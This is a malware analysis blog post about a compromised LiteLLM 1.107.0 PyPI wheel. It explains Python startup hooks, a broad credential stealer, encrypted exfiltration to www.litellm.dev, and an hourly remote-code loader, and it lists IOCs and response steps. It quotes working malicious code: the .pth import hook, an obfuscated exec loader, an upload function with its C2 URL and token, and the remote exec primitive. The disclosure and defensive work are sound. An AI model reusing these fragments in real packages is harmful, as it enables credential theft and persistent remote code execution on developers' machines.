BLOG

LiteLLM 1.107.0 PyPI Wheel Contains a Credential Stealer and Persistent Python Backdoor

Startup hooks steal secrets on every interpreter launch, and the C2 appears to host an operator panel with victim data.

By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·

LiteLLM 1.107.0 PyPI Wheel Contains a Credential Stealer and Persistent Python Backdoor

The OpenSourceMalware team analyzed a wheel identifying itself as LiteLLM 1.107.0 and found a complete Python startup backdoor. The artifact does not merely contain suspicious strings or dormant test code: it installs two automatic execution paths, launches a credential-stealing payload, encrypts and uploads the results to www.litellm.dev, and creates a background process that retrieves and executes attacker-controlled Python every hour.

The evidence supports treating this specific wheel as a malicious package compromise. Any system on which Python started after this wheel was installed should be considered potentially compromised.

TL;DR

  • Threat Type: PyPI supply-chain compromise, credential stealer, and persistent backdoor

  • Affected Artifact: LiteLLM 1.107.0 macOS x86-64 wheel analyzed by OpenSourceMalware

  • Impact: Automatic execution on Python startup, credential collection, encrypted exfiltration, and unrestricted remote code execution

  • Primary C2: www.litellm.dev, which receives stolen data and appears to host an operator panel with victim information

  • Exfiltration Endpoint: http://www.litellm.dev/healthcheck

  • Remote Loader: https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt followed by http://{domain}/codepy

  • Persistence: Forked background process, lock file, suppressed output, and hourly C2 polling

  • Wheel SHA-256: 7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d

Context

Upwind’s security research team publicly reported the compromise on October 21, 2026. They found that all seven LiteLLM 1.107.0 wheels on PyPI contain the same three injected files, and that the payload is absent from the v1.107.0 git tag. The payload file hashes in our sample match the RECORD values in Upwind’s report, and the wheel hash matches their entry for the macOS x86-64 wheel. How the build environment or publishing credential was compromised remains unknown.

This is the second compromise of LiteLLM on PyPI in 2026. In March, versions 1.82.7 and 1.82.8 were published using a PyPI token stolen during TeamPCP’s Trivy supply chain attack. Both incidents use Python startup hooks in tampered wheels, but the infrastructure differs. We are not attributing the October compromise to TeamPCP or any other actor.

Discovery

The wheel contains three files that should not appear in a legitimate LiteLLM installation:

File

Purpose

SHA-256

cook.pth

Executes import cook during Python startup

7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb

cook.py

Decodes and runs a credential-stealing payload

9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25

sitecustomize.py

Contains a stealer variant and runs the persistent remote-code loader

34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa

The files are listed with valid hashes in the wheel’s RECORD manifest. We verified all 3,946 hashed entries in that manifest and found no mismatches. This is important: the malicious files were incorporated into the packaged artifact and its integrity metadata rather than appended to the unpacked directory afterward.

The analyzed wheel is:

Filename: litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl
Size:     38,106,866 bytes
SHA-256:  7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d

Automatic Execution on Python Startup

The first execution mechanism is a 12-byte .pth file:

import cook

Python processes executable import lines in .pth files while initializing site-packages. An application does not need to import LiteLLM for this code to run. Starting Python in an environment containing the installed wheel is sufficient.

The imported cook.py file is a single obfuscated statement. It Base64-decodes and zlib-decompresses an embedded Python program before passing the result to exec():

import zlib, base64
exec(zlib.decompress(base64.b64decode("...")))

The package also supplies sitecustomize.py. Python attempts to import sitecustomize automatically during normal startup, giving the wheel a second execution path independent of application behavior.

We decoded both embedded blobs as inert data without importing or executing the sample. The decoded payloads are variants of the same 1,237-line credential collector:

sitecustomize.py decoded payload:
20a59e5a285799e7cf7fa16cfba1c1414f1e84a8459e14207cfd4e998c2cd24b

cook.py decoded payload:
6ea3d8ef6cf73a72d8df24f663b7a31ce67494eeb9b0d707b93484e66675d2df

The cook.py variant starts the collector in a daemon thread and creates /tmp/.pc_once_72129118c59f5636c0bb after a successful upload. It also sets PRIVCOLLECT_ACTIVE=1 to suppress duplicate collection within related processes.

What the Embedded Payload Steals

The decoded program calls itself privcollect. Its configured modules are explicit:

PC_MODULES = [
    'sysinfo', 'netinfo', 'browser_pw', 'browser_hist',
    'ssh_keys', 'shell_hist', 'cloud_creds', 'dev_secrets',
    'container_creds', 'cicd_secrets', 'ai_devtools',
    'env_vars', 'db_litellm', 'cloud_metadata',
    'gpg_keys', 'tls_privkey'
]

Those names accurately describe the behavior. Confirmed targets include:

  • Chrome, Chromium, Edge, Brave, Opera, and Firefox login databases, cookies, web data, and browsing history

  • Windows DPAPI- and AES-GCM-protected Chromium passwords, plus legacy Linux Chromium password encryption

  • SSH files, GPG private keys, TLS private keys, and Let’s Encrypt private keys

  • Shell, Python, Node, database-client, Vim, PowerShell, and command histories

  • AWS, Azure, GCP, Kubernetes, Docker, GitHub CLI, rclone, Heroku, and .netrc credentials

  • Git credentials and tokens stored in npm, PyPI, pip, Yarn, Maven, Gradle, Composer, RubyGems, and Cargo configuration

  • .env files and common private-key formats under the home and current working directories

  • Kubernetes service-account tokens and Docker secrets

  • GitLab Runner, Jenkins, Vault, Terraform, and Packer secrets

  • Credentials and configuration for Codex, Claude, Cursor, Gemini, GitHub Copilot, VS Code, Windsurf, Kiro, Zed, Hugging Face, Qwen, Continue, OpenCode, Amp, Factory, Trae, Ollama, and Amazon Q

  • Every environment variable in the current process

  • Readable environment variables from other Linux processes through /proc/*/environ

  • When DATABASE_URL is set, LiteLLM credentials and model parameters from LiteLLM_CredentialsTable and LiteLLM_ProxyModelTable, which hold the upstream provider keys the proxy stores

  • AWS EC2 and ECS role credentials, GCP service-account access tokens, and Azure instance metadata

  • Host, user, operating-system, network-interface, route, neighbor, listener, and runtime information

Firefox credentials are particularly revealing. The payload attaches logins.json and key4.db and labels them as decryptable offline by the receiver. This is purpose-built credential theft, not generic diagnostic collection.

Encrypted Exfiltration to www.litellm.dev

The central network indicator in this artifact is not the dynamic /codepy host. It is the hard-coded collection endpoint:

PC_URL = 'http://www.litellm.dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb'

After collection, the malware serializes its results to JSON, generates a random 256-bit AES key and 128-bit IV, and encrypts the JSON with AES-256-CBC. It then encrypts the AES key with an embedded RSA public key using OAEP.

The encrypted material is placed into a gzip-compressed tar archive:

hdr.json   Encryption metadata, target, and timestamp
data.bin   IV followed by AES-encrypted collection data
key.bin    RSA-encrypted AES key

The upload code is concise:

def pc_post(url, body, token=None):
    req = urllib.request.Request(url, data=body, method='POST')
    req.add_header('Content-Type', 'application/octet-stream')
    req.add_header(
        'User-Agent',
        'Mozilla/4.0 (compatible; MSIE 7.0; '
        'Windows NT 10.0; WOW64; Trident/7.0)'
    )
    req.add_header('X-SHA256', hashlib.sha256(body).hexdigest())
    if token:
        req.add_header('X-Token', token)

    for attempt in range(4):
        try:
            with urllib.request.urlopen(req, timeout=120) as response:
                if response.status == 200:
                    return True
        except Exception:
            pass
        if attempt < 3:
            time.sleep(2 ** attempt)
    return False

The resulting request has this form:

POST /healthcheck HTTP/1.1
Host: www.litellm.dev
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0)
X-SHA256: <SHA-256 of encrypted tar body>
X-Token: XWiA8gZNa7NcX2XRoAEb

Two details matter for defenders. First, the endpoint uses plain HTTP rather than HTTPS. Network sensors may therefore see the HTTP path and custom headers even though the body itself is encrypted. Second, the endpoint name resembles a routine service health check, which may allow the traffic to blend into application monitoring.

DNS Background for litellm.dev

The distinction between the apex domain and the hostname embedded in the malware is important:

Apex domain:         litellm.dev
Malware hostname:    www.litellm.dev
Malware URL:         http://www.litellm.dev/healthcheck
Protocol in sample:  HTTP
Role in code:        Encrypted credential-exfiltration receiver

According to Upwind’s report, the apex domain was registered on October 13, 2026, about one week before the malicious release. That short registration history is consistent with newly provisioned infrastructure, although domain age alone does not establish ownership or malicious intent. The legitimate LiteLLM project domain is litellm.ai.

OpenSourceMalware also searched public web indexes and passive-analysis entry points for historical DNS, certificate-transparency, and URL-scan records relating to litellm.dev and www.litellm.dev. At the time of research, those sources did not yield independently verifiable historical A/AAAA answers, hosting-provider attribution, or a trustworthy IP timeline that could be included in this report. Apart from the operator panel observation described below, the domain was not scanned or probed, and the malware’s collection endpoint was not contacted.

Accordingly, this post does not assign an IP address, hosting provider, registrar, or owner to the domain. DNS data is time-dependent, and a current resolution would not prove where the hostname pointed when this wheel was built or executed. The defensible finding is narrower and stronger: the 1.107.0 payload itself hard-codes www.litellm.dev as the receiver for encrypted credential bundles.

Defenders should search historical DNS, proxy, firewall, and HTTP telemetry in their own environments for both the exact hostname and full path. Relevant request headers include X-Token, X-SHA256, and the obsolete Internet Explorer-style user agent shown above.

Operator Panel on www.litellm.dev

The HTTPS site at https://www.litellm.dev appears to host an operator panel containing victim information. If confirmed, this makes the host more than a collection endpoint. It would be where the operator reviews stolen data, which is why we treat www.litellm.dev as the primary command and control host for this campaign. Our analysis of the panel is ongoing, and we will update this post with what we can confirm.

Persistent Remote-Code Loader

sitecustomize.py also implements a separate backdoor. It creates /tmp/remote_code_loader.lock, takes a non-blocking file lock, forks, calls setsid(), redirects file descriptors 0 through 2 to /dev/null, changes its working directory to /, and enters an infinite loop.

Each iteration performs the following sequence:

  1. Retrieve domain.txt from the letters9813/pythonclient-test GitHub repository.

  2. Select the first line matching a domain or localhost, optionally with a port.

  3. Resolve the supplied hostname.

  4. Request http://{domain}/codepy.

  5. Compile the response as Python.

  6. Execute it with __name__ set to __main__.

  7. Sleep for 3,600 seconds and repeat.

The critical execution primitive is:

async def exec_code(code):
    loop = asyncio.get_running_loop()
    await loop.run_in_executor(
        _executor,
        lambda: exec(
            compile(code, '<remote>', 'exec'),
            {'__name__': '__main__'}
        ),
    )

This design separates the installed package from the active second stage. The attacker can change domain.txt, replace /codepy, or serve different code over time without publishing another wheel.

The current contents of domain.txt and /codepy were not retrieved. Upwind reports that domain.txt has been empty since October 20, 2026 at 09:15 UTC, which leaves this stage dormant until the operator commits a new domain. We have not independently verified the file’s history. The exact second-stage hostname and payload are therefore unresolved. Nothing in the local artifact constrains what /codepy can do: it executes with the privileges of the affected Python process and may introduce further downloads, persistence, lateral movement, or destructive behavior.

Attack Chain

LiteLLM 1.107.0 wheel installed
             |
             v
Python interpreter starts
             |
             +--> cook.pth executes "import cook"
             |        |
             |        +--> Base64 + zlib payload decoded and executed
             |        +--> Credentials and secrets collected
             |        +--> Encrypted bundle POSTed to www.litellm.dev
             |
             +--> sitecustomize.py imported automatically
                      |
                      +--> Lock file created
                      +--> Process forks and detaches
                      +--> domain.txt fetched from GitHub
                      +--> http://{domain}/codepy downloaded
                      +--> Response compiled and executed
                      +--> Process sleeps one hour and repeats

Indicators of Compromise (IOCs)

Malicious Package

PyPI/litellm@1.107.0
litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl

Files and Runtime Artifacts

cook.pth
cook.py
sitecustomize.py
/tmp/remote_code_loader.lock
/tmp/.pc_once_72129118c59f5636c0bb
PRIVCOLLECT_ACTIVE=1

Network Indicators

https://www.litellm.dev
http://www.litellm.dev/healthcheck
www.litellm.dev
litellm.dev
https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt
raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt
http://{domain-from-domain.txt}/codepy
github.com/letters9813/pythonclient-test

HTTP Indicators

X-Token: XWiA8gZNa7NcX2XRoAEb
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0)
X-SHA256: <SHA-256 of request body>

SHA-256 Hashes

7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d  wheel
7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb  cook.pth
9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25  cook.py
34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa  sitecustomize.py
20a59e5a285799e7cf7fa16cfba1c1414f1e84a8459e14207cfd4e998c2cd24b  decoded sitecustomize payload
6ea3d8ef6cf73a72d8df24f663b7a31ce67494eeb9b0d707b93484e66675d2df  decoded cook payload

Detection and Response

Security teams should not limit their search to applications that explicitly import LiteLLM. The .pth and sitecustomize mechanisms execute during Python initialization, so any interpreter launched in an affected environment may have triggered the malware.

Recommended response actions:

  1. Isolate affected hosts, containers, virtual environments, developer workstations, and CI runners.

  2. Preserve the wheel, installed package tree, /tmp artifacts, Python process trees, memory, DNS logs, proxy logs, and firewall telemetry where incident-response procedures permit.

  3. From a shell, not Python, remove cook.pth, cook.py, sitecustomize.py, and any matching __pycache__ files from every affected site-packages. Any Python start, including pip, re-runs both payloads. Then terminate the detached Python process holding /tmp/remote_code_loader.lock.

  4. Search for HTTP traffic to www.litellm.dev, especially POST /healthcheck carrying the hard-coded X-Token header.

  5. Search for retrieval of the GitHub domain.txt path followed by plain-HTTP requests to /codepy from Python processes.

  6. Treat all secrets readable by the affected account as compromised. Rotate them from a known-clean system. The /tmp/.pc_once_72129118c59f5636c0bb marker confirms a successful upload, but its absence does not rule one out, since container restarts and temp cleanup remove it.

  7. Include cloud temporary credentials, Kubernetes tokens, database credentials, browser passwords, SSH/GPG/TLS keys, package publishing tokens, CI/CD secrets, GitHub/GitLab tokens, and AI-provider keys in the rotation scope.

  8. Review cloud, source-control, package-registry, CI/CD, and identity-provider audit logs for subsequent use of stolen credentials.

  9. Rebuild affected environments from trusted artifacts. Removing the package alone cannot undo arbitrary code already delivered through /codepy.

Limitations

This analysis is intentionally scoped to the supplied LiteLLM 1.107.0 artifact. It does not make claims about other LiteLLM versions.

The investigation is not second-stage complete. The loader obtains its active domain from mutable remote content and executes an unavailable /codepy response. Because that response was not present in the wheel and the second-stage infrastructure was not contacted, any additional behavior delivered through that channel remains unresolved.

Similarly, no historical IP address is attributed to www.litellm.dev without reproducible passive-DNS evidence. Defenders should preserve time-qualified DNS answers from their own telemetry rather than treating a later live resolution as historical fact.